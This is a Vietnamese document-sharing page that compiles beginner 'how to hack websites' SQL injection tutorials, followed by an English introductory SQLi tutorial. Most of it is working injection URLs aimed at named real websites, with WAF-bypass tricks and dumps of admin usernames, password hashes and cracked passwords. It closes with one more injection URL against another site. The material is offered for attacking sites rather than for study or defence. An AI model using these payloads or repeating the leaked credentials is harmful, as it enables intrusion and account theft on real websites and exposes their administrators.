ADSENSE
Hướng dẫn hack website lỗi SQL cơ bản
489
lượt xem 59
download
lượt xem 59
download
Download
Vui lòng tải xuống để xem tài liệu đầy đủ
Tài liệu Hướng dẫn hack website lỗi SQL cơ bản trình bày các nội dung: hướng dẫn hack website lỗi SQL cơ bản, ack Site Lỗi SQL Cơ Bản, hướng dẫn hack site lỗi SQL bị chặn xuất hiện “406 Not Acceptable", ướng dẫn hack site lỗi 403 - 404 Forbidden, một số lưu ý khi khai thác SQL - Ducdung.08clc, SQL injection (SQLi) Tutorial series part-1.
AMBIENT/
Chủ đề:
Bình luận(0) Đăng nhập để gửi bình luận!
Nội dung Text: Hướng dẫn hack website lỗi SQL cơ bản
- I. Hướng Dẫn Hack Website Lỗi SQL Cơ Bản Tuesday, August 2, 2011 6:31:59 PM Hacking Website - SQL injection Hướng Dẫn Hack website lỗi MYSQL cho newbie: Bước 1: Tìm Đường link bị lỗi +) Search đường link bi lỗi, ví dụ: http://www.konka.co.nz/productdetail.php?id=34 +) Kiểm tra đường link có bị lỗi hay ko bằng cách thêm dấu " ' ": http://www.konka.co.nz/productdetail.php?id=34’ +) Nó hiện ra lỗi nè: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 Bước 2: Xác Định Số Cột Có Trong Database +) Chèn sau url đoạn mã : order by ….-- (… là giá trị số, thứ cho đến khi nào link bị lỗi thì dừng lại ) Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 order by 4-- +) Site vẫn không hiện ra lỗi, tiếp tục thử: http://www.konka.co.nz/productdetail.php?id=34 order by 20-- Nó hiện ra lỗi rồi kìa: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26 +) Chứng tỏ số cột cần tìm nằm giữa 4 và 20, tiếp tục thử: http://www.konka.co.nz/productdetail.php?id=34 order by 10-- +) Nó ko hiện ra lỗi, chứng tỏ số cột cần tìm nằm giữa 10 và 20, tiếp tục thử http://www.konka.co.nz/productdetail.php?id=34 order by 15-- +) Vẫn không hiện ra lỗi, tiếp tục: http://www.konka.co.nz/productdetail.php?id=34 order by 16— Ah` ha, nó ra lỗi rồi: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26 Suy ra số cột có trong database là 16 -1 =15 Ok. Bắt đầu khai thác tiếp.
- Bước 3: Exploit Tên Các Tables TRong Database: +) Đánh sau link lỗi đoạn mã: and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- Mục đích: Tìm cột bị lỗi để khai thác từ cột đó khai thác ra toàn bộ database. Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- +) Ok! Đã tìm ra cột bị lỗi: đó là số “ 3 ”, tiếp tục khai thác, chèn đoạn mã này vào số 3: unhex(hex(group_concat(table_name))) và câu lệnh sau số 15: from information_schema.tables Ví du: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8 ,9,10,11,12,13,14,15 from information_schema.tables-- +) Nó đa hiện ra toàn bộ tên bảng có trong database: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,C OLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES, TABLE_CONSTRAINTS, TABLE_PRIVI LEGES, TRIGGERS,USER_PRIVILEGES,VIEWS,active_guests ,active_users,banned_users,tb_cat,tb_news,tb_news_ category,tb_page,tb_page_category,tb_product,tb_pr oduct_category,tb_product_model,tb_product_pixel,t b_product_price, tb_product_selection,tb_product_su b_category,tb_return,tb_return_comments,tb_return_ status,users +) Ta chú ý thấy table có tên users sẽ chứa thông tin về tài khoản admin. Ok, ta sẽ khai thác table này: Chèn đoạn mã này vào số 3: unhex(hex(group_concat(column_name))) và câu lệnh sau số 15: from information_schema.columns where table_name=0x7573657273-- lưu ý: 7573657273 chính là users ở dạng hex, ta có thể chuyển đổi từ dạng chuỗi sang dạng hex, bằng cách: vao google đánh:” convert string to hex” sẽ có link chuyển đổi ở đâu tiên: http://www.string-functions.com/string-hex.aspx Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2, unhex(hex(group_concat(column_name))),4,5,6,7,8,9, 10,11,12,13,14,15 from information_schema.columns where table_name=0x7573657273-- Ok, ta đã có thông tin về tên các cột trong table “users”: username,password,userid,userlevel,email,timestamp Chúng ta đã thấy cột username và password, tiếp tục khai thác để lấy thông tin Bước 4:
- +) Chèn đoạn mã sau vào số 3: group_concat(username,0x3a,password) và sau số 15 sẽ là: from users-- (đây chính là table chứa username và password mà ta đang khai thác). Lưu ý: 0x3a chính là ký tự “:” ngăn cách username và password, hoặc 0x2f hay 0x7c là “/” Ví dụ: : http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8 ,9,10,11,12,13,14,15 from users-- +) Ok, ta đã thấy username và password dưới dạng mã hóa md5: admin:e10953e3b5537c441aa16defc89359b9, admin1:e00c f25ad42683b3df678c61f42c6bda, test1:147538da338b770 b61e592afc92b1ee6 +) Bây giờ ta giải mã password: Vào link: http://www.md5cracker.org Ta giải mã được password của username: admin là : linwood36 Username: admin1 là: admin1 Username: test1 là : testt Bước 5: +) Tìm link admin và đăng nhập vào ( đây là nhiệm vụ của bạn nhé!).( Bạn có thể sử dụng tool havij hoặc find admin) Kết luận: +) Đây là dạng hack website lỗi SQL rất cơ bản, Mình muốn giới thiệu cho các newbie băt đầu làm quen với hack web, các pro trình độ cao rồi đừng có chém nhá +)Còn các trang web lỗi SQl thì nhiêu vô kể, các bạn có thể tự tìm lấy, tất nhiên mỗi lỗi có những cách khai thác khác nhau.
- II. Hack Site Lỗi SQL Cơ Bản! Friday, August 5, 2011 1:28:59 PM Hacking Website - SQL injection Hướng dẫn hack site: http://thegoidimy.com Link lỗi: http://thegoidimy.com/news.php?nt=28&nid=133 Kiểm tra link lỗi: http://thegoidimy.com/news.php?nt=28&nid=133' Xuất hiện lỗi: Trang bị thiếu đi một số thông tin Bước 1: Xác định sô trường cột +) http://thegoidimy.com/news.php?nt=28&nid=133 order by 15-- Xuất hiện lỗi: Trang bị thiếu thông tin, tiếp tục thử nhé: +) http://thegoidimy.com/news.php?nt=28&nid=133 order by 9-- Trang hoạt động bình thường, tiếp tục +)http://thegoidimy.com/news.php?nt=28&nid=133 order by 10-- Trang bị lỗi như cũ, chững tỏ số trường cột bị lỗi là: 10 – 1= 9 Bước 2: Xác Định cột bị lỗi: +) http://thegoidimy.com/news.php?nt=28&nid=133 union select 1,2,3,4,5,6,7,8,9— Câu lệnh đúng cả rồi, sao không thấy số mã gì cả, khắc phục: thay: 133 = null +) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,2,3,4,5,6,7,8,9— Ah`, đã ra số rồi nhé, số 2 và số 4. Thử xem version nó xem sao: + http://thegoidimy.com/news.php?nt=28&nid=null union select 1,version(),3,4,5,6,7,8,9— Ok, đã xuât hiên version 5. , thế không cần phải đoán tables và columns rồi. Có thể sử dụng unhex(hex(……… Bước 3: Exploit tên tables +)http://thegoidimy.com/news.php?nt=28&nid=null union select 1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9 from information_schema.tables-- - Đã xuât hiện danh sách các tables: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLU MNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA, SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,T RIGGERS,USER_PRIVILEGES,VIEWS,itkg_accessnumber,itkg_advertising,itkg_chat_lines,itkg _chat_online,itkg_chat_settings,itkg_chat_users,itkg_comments,itkg_config_site,itkg_contact,itk
- g_contact_purpose,itkg_country,itkg_customer,itkg_customer_support,itkg_documents,itkg_favo rite_list,itkg_flash,itkg_func,itkg_hotel_booking,itkg_hotel_roomtype,itkg_intro,itkg_map_distri ct,itkg_music,itkg_musicalbum,itkg_news,itkg_news_category,itkg_news_feedback,itkg_news_ty pe,itkg_orders,itkg_orders_details,itkg_payment,itkg_picturealbum,itkg_picturelib,itkg_postion,i tkg_postion_service,itkg_process,itkg_products,itkg_products_category,itkg_products_type,itkg_ reports,itkg_role,itkg_role_func,itkg_rss,itkg_service,itkg_service_category,itkg_users,itkg_vide o,itkg_videoalbum,news_address,news_category,news_category_description, Chúng ta chú y đến table có tên là: itkg_users , ta sẽ khai thác column trong table này Bước 4: Exploit tên Columns Lưu ý: +) itkg_users có mã hex là: 69746b675f7573657273 +) link đổi dạng chuỗi sang hex: http://www.string-functions.com/string-hex.aspx +) “/” có mã hex là : 0x7c Ok! Chúng ta tiếp tục: +) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x69746b675f7573657273— Các column đã bị lòi ra rối nhé: username,password,fullname,address,phone,email,promotion_info,active,active_code,status,last est_login, Ta chỉ quan tâm đến 2 columns: username,password là đủ Bước 5: Get thông tin +) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,group_concat(username,0x7c,password),3,4,5,6,7,8,9 from itkg_users – Ok! Đã có thông tin của username và password rồi nhé: admin|c4ca4238a0b923820dcc509a6f75849b, manager|1d0258c2440a8d19e716292b231e3190, user|ee11cbb19052e40b07aac0ca060c23ee Bước 6: Tìm link admin và giải mã
- +) Link admin: http://thegoidimy.com/admin/templates/login.php +) Giải mã: link crack: http://md5cracker.org/ admin/1 Manager/ manager User/ user
- III. Hướng Dẫn Hack site lỗi SQL bị chặn xuất hiện “406 Not Acceptable “ Thursday, August 4, 2011 7:06:05 PM Hacking Website - SQL injection Hướng Dẫn Hack site lỗi SQL bị chặn xuất hiện “406 Not Acceptable “ http://www.khaithong.com.vn/index.php ?do=products &id=-214+union all/*!50000select 1,group_concat(username,0x2f,password,0x2f),3,4+from+admin*/ -- Site ví dụ: http://www.mp3hungama.com/ Đường link bị lỗi: http://www.mp3hungama.com/music/genre_albums.php?id=1 Kiểm tra đường link bị lỗi bằng cách them dấu “ ‘ “ : http://www.mp3hungama.com/music/genre_albums.php?id=1' Xuất hiện lỗi: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 Bước 1: +) Check Số số trường cột: sử dụng: “order by …--“ http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 10-- Site bị lỗi, tiếp tục thử: +) http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 3-- Site bình thường, tiếp tục: +) http://www.mp3hungama.com/music/genre_albums.php?id=1 order by 4-- Ok, site bị lỗi, chứng tỏ số cột có trong database là: 4-1 =3 Chúng ta tiếp tục khai thác nhé! Bước 2: Lấy thông tin về version, database, user: + http://www.mp3hungama.com/music/genre_albums.php?id=1 union select 1,2,3-- Câu lệnh đúng cả mà xuất hiện lỗi: 406 Not Acceptable
- This request is not acceptable ________________________________________ Powered By LiteSpeed Web Server LiteSpeed Technologies is not responsible for administration and contents of this web site! +) Với lỗi này, ta thay khoảng trắng space bằng: %0a http://www.mp3hungama.com/music/genre_albums.php?id=1 union%0aselect 1,2,3-- Ok, trang đã vào được, nhưng sao không thấy số má gì cả nhỉ, thử thay số 1 bằng null xem http://www.mp3hungama.com/music/genre_albums.php?id=null union%0aselect 1,2,3-- Cũng không được. Cách đó bỏ qua, bây giờ chúng ta chuyển sng cách khác: http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select %0aconcat_ws(version(),database(),user())),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) hix, vẫn bị lỗi 406 Not Acceptable This request is not acceptable ________________________________________ Powered By LiteSpeed Web Server LiteSpeed Technologies is not responsible for administration and contents of this web site! Để khăc phục lỗi này, ta thử chèn %0a giữa select và concat_ws xem, http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select %0aconcat_ws(version(),database(),user())),floor(rand(0)*5))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Ok, đã xuất hiện thông tin ta muốn: [Duplicate entry 'hungama_music5.0.92-community-loghungama_fizi@localhost1' for key 1 Version 5. , ngon roofy, không cần phải mò mẫn. Bước 3: Exploit tên tables + Chèn đoạn mã sau: http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000table_name*/ from information_schema.tables /*! 5000where*/ table_schema=database() limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa)
- Lưu ý: ta đặt /*!5000…..*/ mục đích để không bị chăn bởi mod security khi xuất hiện lỗi: "406 Not Acceptable " Ta được table đầu tiên: 'active_guests’ Duplicate entry 'active_guests1' for key 1 +) Để lấy các tables tiếp theo ta thay: limit 1,1 rồi limit 2,1…. Cho tới khi nào tới table mà mình cần lấy. Limit 1,1 table là: active_users Limit 2,1 table là: admin_review_mgt1….. Và table tôi muốn khai thác là: limit 43,1: users http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000table_name*/ from information_schema.tables /*! 5000where*/ table_schema=database() limit 43,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Duplicate entry 'users1' for key 1 Ok! Tiếp tục khai thác table “users” Bước 4: Exploit tên columns +) http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000column_name*/ from information_schema.columns /*! 5000where*/ table_schema=database() and /*!5000table_name*/=0x7573657273 limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Xuât hiện column đầu tiên là: “username” Duplicate entry 'username1' for key 1 +) Tương tự như trên, limit 1,1 http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0a/*!5000column_name*/ from information_schema.columns /*! 5000where*/ table_schema=database() and /*!5000table_name*/=0x7573657273 limit 1,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Ta được column thứ 2: password Duplicate entry 'password1' for key 1 Như thế là đủ rồi các bạn nhỉ, Bước 5: Lấy thông tin admin:
- +)http://www.mp3hungama.com/music/genre_albums.php?id=1 and (select 1 from (select count(*),concat((select%0Aconcat(username,0x7c,password) from users limit 0,1),floor(rand(0)*2))ducdung08clc from information_schema.tables group by ducdung08clc)bachkhoa) Kêt quả: Duplicate entry 'admin|3d145b6d4827e1f25994a3da418419e41' for key 1 Ta đã có tài khoản admin bao gồm: username/password: admin| 3d145b6d4827e1f25994a3da418419e4 Lưu ý: từ đầu bài đến giờ ta không quan tâm con số 1 ở cuối, nên bây giờ password mã hóa ta cũng không cho số 1 ấy vào +) Để lấy các tài khoản quản trị khác ta cứ việc lên “limit” Với limit 1,1 ta được username/password: obaid|15d4b4bb7b462baf16e04eadc399e4be Với limit 2,1 ta được username/password: geniusarien|2cbb8de1484e29bb4ad9865412c36f26 Với limit 3,1 ta được username/password: junaidshaheen|a7899c013b27bd38e1e3a1905dfc1a65 Với limit 4,1 ta được username/password: nicx|7eb865ffc81fb5eb3638ddbcfcb6a68c Với limit 5,1 ta được username/password: munib|f5a4324a48f0f18095e7de550b2407bb
- IV. Hướng Dẫn hack Site lỗi 403 - 404 Forbidden. Tuesday, August 2, 2011 7:07:44 PM Hacking Website - SQL injection Hướng Dẫn hack site lỗi 403 Forbidden. Link site lỗi: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15 Thêm vào dấu " ‘ " phía sau đường link: Trang bị trắng, không có nội dung như bình thường. Chứng tỏ đường link bị lỗi Bước 1: Tìm Số Cột Có Trong Database +) Tìm số côt có trong database: Theo cách bình thường: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15 order by 500— Web vẫn bình thường trong khi số cột quá lớn, chứng tỏ web bị lỗi ở đâu đó +) Tìm số cột theo cách khác: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 50-- - Ah ha, Trang web đã xuất hiện lỗi trang tinh như lúc thêm vào dấu ‘, tiếp tục thử: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 10-- - Vẫn lỗi đó, tiếp tục thử, http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 6-- - Ak, Trang web bình thường rồi, không còn bị lỗi nữa, chứng tỏ số cột có trong database nằm trong đoạn từ 6 đến 10, tiếp tục thử: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 7-- - Lại xuất hiện lỗi trang trắng, không có thông tin. Chứng tỏ số cột cần tìm là 7-1 =6. Ok, tiếp tục khai thác Bước 2: Exploit Tên Các tables +) Tìm vị trí cột bị lỗi để khai thác: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15’ union /*!select*/ 1,2,3,4,5,6-- - Xuất hiện cột bị lỗi cần tìm rôi, chính là cột thứ 2. * Lưu ý: - Phải có dấu “ ’ “ sau số 15 - Nếu khai thác bình thường: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15’ union select 1,2,3,4,5,6— sẽ xuất hiện lỗi Forbidden như sau:
- Forbidden You don't have permission to access /htmls/recruitment_detail.php on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. ________________________________________ Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.vinaplast.com.vn Port 80 +) Cách khắc phục: thay select = /*!select*/ http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15' union /*!select*/ 1,2,3,4,5,6-- - Ok, đã xuất hiện cột bị lỗi rồi nhé: 2 +) Exploit tên các bảng trong database: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15’ union /*!select*/ 1,concat_ws (0x3a,table_name),3,4,5,6 from information_schema./*!tables*/ where table_schema=database()-- - Ok!, Các table đã xuất hiện: tbl_about tbl_admin tbl_area tbl_contact tbl_history_access tbl_investment tbl_keyword tbl_member tbl_news tbl_product tbl_recruitment tbl_setmember Ta chú ý đến table chứa username va pass là: tbl_admin, Và ta sẽ khai thác các cột chứa trong table này Bước 3: Exploit tên các cột trong table tbl_admin +) http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15' union /*!select*/ 1,concat_ws(0x3a,column_name),3,4,5,6 from information_schema./*!columns*/ where table_schema=database() and table_name=0x74626c5f61646d696e-- - * Lưu ý: - 74626c5f61646d696e chính là tbl_admin ở dạng hex - Để đổi từ dạng chuỗi sang hex ta vào: http://www.string-functions.com/string-hex.aspx Ok, đã xuât hiện tên các cột: admin_id admin_username admin_password admin_first_name admin_last_name admin_email admin_phone admin_access Ta chú ý đến cột: admin_username và admin_password để đăng nhập vào website, ta sẽ truy
- xuất thông tin của 2 cột này ra: +) khai thác thông tin username và pass: http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15' union /*!select*/ 1,concat_ws(0x3a,admin_username,admin_password),3,4,5,6 from tbl_admin-- - Tuyệt, đã xuât hiện username và password: sunflower83:sunflower Dấu : ngăn cách username và pass chính là 0x3a ở dạng hex Bước 4: Tìm link đăng nhâp, có một số cáchm ở đây tôi sử dụng havij cho nhanh: Và ta sẽ có link admin là: http://www.vinaplast.com.vn/admincp/
- V. Một Số Lưu Ý Khi Khai Thác SQL - Ducdung.08clc Saturday, August 13, 2011 3:47:46 AM Hacking Website - SQL injection Hướng Dẫn Một Số Cách Khai Thác Khi Union Xuất Hiện Lỗi - ducdung.08clc Link bị lỗi: http://thuonghieudatviet.com.vn/sites/index.php?id=126’ Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 I- Tìm Số trường cột http://thuonghieudatviet.com.vn/sites/index.php?id=126 order by 5-- - Website Vẫn bình thường http://thuonghieudatviet.com.vn/sites/index.php?id=126 order by 6-- - Đã xuất hiện lỗi nè: Invalid query: Unknown column '6' in 'order clause' ¬số cột: 6-1 =5 II- Union để tìm vị trí cột bị lỗi[/COLOR] http://thuonghieudatviet.com.vn/sites/index.php?id=126 UNION SELECT 1,2,3,4,5-- - Hix, nó không cho “union select” rồi: Invalid query: The used SELECT statements have a different number of columns III- Một số cách khắc phục Cách 1: http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((Select Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f)),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Cách 2 http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f),1,136)From
- tbl_user),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Cách 3: http://thuonghieudatviet.com.vn/sites/index.php?id=126 and (select 1 from (select count(*),concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) from (select 1 union select 2 union select 3)ducdung08clc group by 2)bachkhoaHN) Cách 4: http://thuonghieudatviet.com.vn/sites/index.php?id=126 or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- - Tất cả các cách trên đều cho ra thông tin cần tìm: Invalid query: Duplicate entry '/5.0.92- community/thuonghi_thdv/thuonghi_thdv@localhost/1' for key 1 IV- Exploiting tables_name Tôi sẽ khai thác cách 1 các còn lại những cách khác các bạn làm tương tự nhé: http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Xuất hiện, tên bẳng đầu tiên: “tbl_user” không có số 1 nhé. Invalid query: Duplicate entry 'tbl_user1' for key 1 Để lấy exploits các bảng tiếp theo bạn thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1…..Cho tới tên bẳng mà mình cần khai thác. V – Exploiting columns_name http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Đã xuât hiện côt đầu tiên: “id” Invalid query: Duplicate entry 'id1' for key 1 Tiếp tục lấy cột thứ 2:
- http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 1,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Ok, ta đã có column: “username” Invalid query: Duplicate entry 'username1' for key 1 Tiếp tục lấy cột thứ 3: http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 2,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Ta được column: “password” Invalid query: Duplicate entry 'password1' for key 1 VI – Khai thác thông tin username và password http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select concat(0x2f,username,0x2f,password,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))ducdung08clc From Information_Schema.columns Group By ducdung08clc)bachkhoaHN) Ok, Xuât hiện thông tin cần khai thác: Invalid query: Duplicate entry '/dk@@86/e50de53e74fb5c52efcf2feda8159c24/1' for key 1 VII - Giải Mã password và tìm link admin Username: dk@@86 Password: (*&^%$#@! (theo md5) Iink admin: http://thuonghieudatviet.com.vn/administrator/index.php
- VI. SQL injection (SQLi) Tutorial series part-1 09/04/2012 9 Comments Hello friends, I am Balaji Gopal. This is my first tutorial on SQL injection. Thanks a lot to Ashish Mistry for giving me opportunity to write this tutorial. Also love and greets to Ghost rider hacker, Nilesh Aherrao, Sanket Jagtap, Vinit Patil, Abhishek Koserwal, Saurabh Nemade and all other friends who have always supported me to become what I am now. Lets start with the tutorial. SQL Injection is one of the more popular application layer hacking techniques that is used in the wild today. It is a type of input validation attack i.e it occurs when the programmer/developer fails to properly validate the input given by the user. SQL injection is one of the top 10 vulnerabilities specified by OWASP (Open Web Application Security Project). The threat due to SQL injection is very high. According to a report by Barclays "97 percent of data breaches due to SQL injection." Penalties for doing SQL injection under IT act are severe, including heavy fines or imprisonment. Now let’s see what it is exactly in detail. Basically SQL stands for Structured Query Language, and it is the language used by most website databases. RDBMS is the basis for SQL, and for all modern database systems like MSSQL Server, Oracle, MySQL etc. Data is stored in the database in the form of tables. A database most often contains one or more tables. Tables contains one or more columns and data is stored in these columns. Data in the database is retrieved using queries. Generally in a website the front end and back end connectivity is done so that end user can retrieve data or enter data from the front end into the backend. Consider front end is PHP and back end is MySQL then the connectivity is done using mysql_connect("servername, username, password ") Here is a sample code.
- ?> Once the connectivity is done the front end and back end starts interacting. Whatever request is done by the end user from the front end is requested to the back-end in the form of SQL queries and end user gets the required result. But it is possible for an attacker to send malicious request (generally SQL queries) from the front end and forcing the back-end to execute those queries and give the result. This is called SQL injections. SQL injection is a technique that is used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a back-end database. A successful SQL injection exploit can enable the attacker to read sensitive data from the database, do insert/update/delete operations, execute administration operations on the database (such as shutdown the DBMS). It clearly means SQL injection attack is possible only on those websites/web applications which have a back-end. SQL injection is possible on almost all databases (MySQL, MsSQL, Oracle, MS ACCESS etc). This attack is done by injecting malicious SQL queries from forms or from the URL. The possible types of SQL injection that can be exploited by the attacker are: • Poorly Filtered Strings • Incorrect Type Handling • Signature Evasion • Filter Bypassing • Blind SQL Injection Lets have some explanation on it 1. Poorly Filtered Strings SQL injections based on poorly filtered strings are caused by user input that is not filtered for escape characters. If the validation for the user input is not done properly then the attacker can send SQL strings from the form to execute in the database and hence compromising the security. Example: Attacker puts 'or''=' in the form and sends it to the back-end. Inserting the above string will generate a query like this: SELECT password FROM users WHERE password = '' OR 1'='1 This query will return true and thus giving the attacker illegal access. 2. Incorrect Type Handling Incorrect type handling based SQL injections occur when an input is not checked for type constraints. In simple language the data type of the input is not validated properly which is then manipulated by attackers to do execute SQL queries. Example: Suppose the input data type is not properly validated. Consider the following query:
- SELECT * FROM table WHERE id = "pid"; An attacker will put input something like this 1;SHOW TABLES and the query will be interpreted as SELECT * FROM userinfo WHERE id=1;SHOW TABLES; 3. Signature Evasion Many SQL injections will be somewhat blocked by intrusion detection and intrusion prevention systems using signature detection rules. Common programs that detect SQL injections are mod_security or WAF (web application firewall). These techniques are not 100% secure and can be bypassed. Example: If the firewall is blocking keywords like "union", "all", "select" etc. then the attacker can bypass it by commenting SQL keywords like this /*!union*/ /*!all*/ /*!select*/. Also there are many other ways which will be discussed in further tutorials. 4. Filter Bypassing Generally while doing sql injection, some sql keywords are used like union, select, from etc...the administrator filters these keywords so as to block such requests but it still becomes possible for an attacker to bypass these kind of filters Example: the attacker attacks like this, index.php?id=1 union all select 1,2,3--n site gives response 406 not acceptable so by using tricks like this index.php?id=1 /*!union*/ /*!all*/ *!select*/ 1,2,3-- the attacker bypasses the security there are many ways to bypass this it depends on how strongly the administrator has created the filter. 5. Blind SQL injection Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. Blind SQL injection takes a lot of time and patience. Example: site.com/index.php?id=1 and 1=1 will load normal page but site.com/index.php?id=1 and 1=2 will give a different result if the page is vulnerable to a SQL injection. There are many more varieties of SQL injection attacks which will be discussed in the next tutorials.
- Thanks a lot for reading my first tutorial. If you have any questions than please ask in comments, Further in this tutorial series all above mentioned attacks will be explained in detail. I will give my best to make this tutorial as easy and informative as possible. Suggestions happily accepted for future tutorials. Article author: Balaji Gopal Article license: SQL injection tutorial series by Balaji Gopal is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License. http://lauxanh.org/online/search.php?search_type=all&keyword=aaa %27+UNION+SELECT+1,2,group_concat%28username,0x2f,password,0x2f %29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+user--+-
CÓ THỂ BẠN MUỐN DOWNLOAD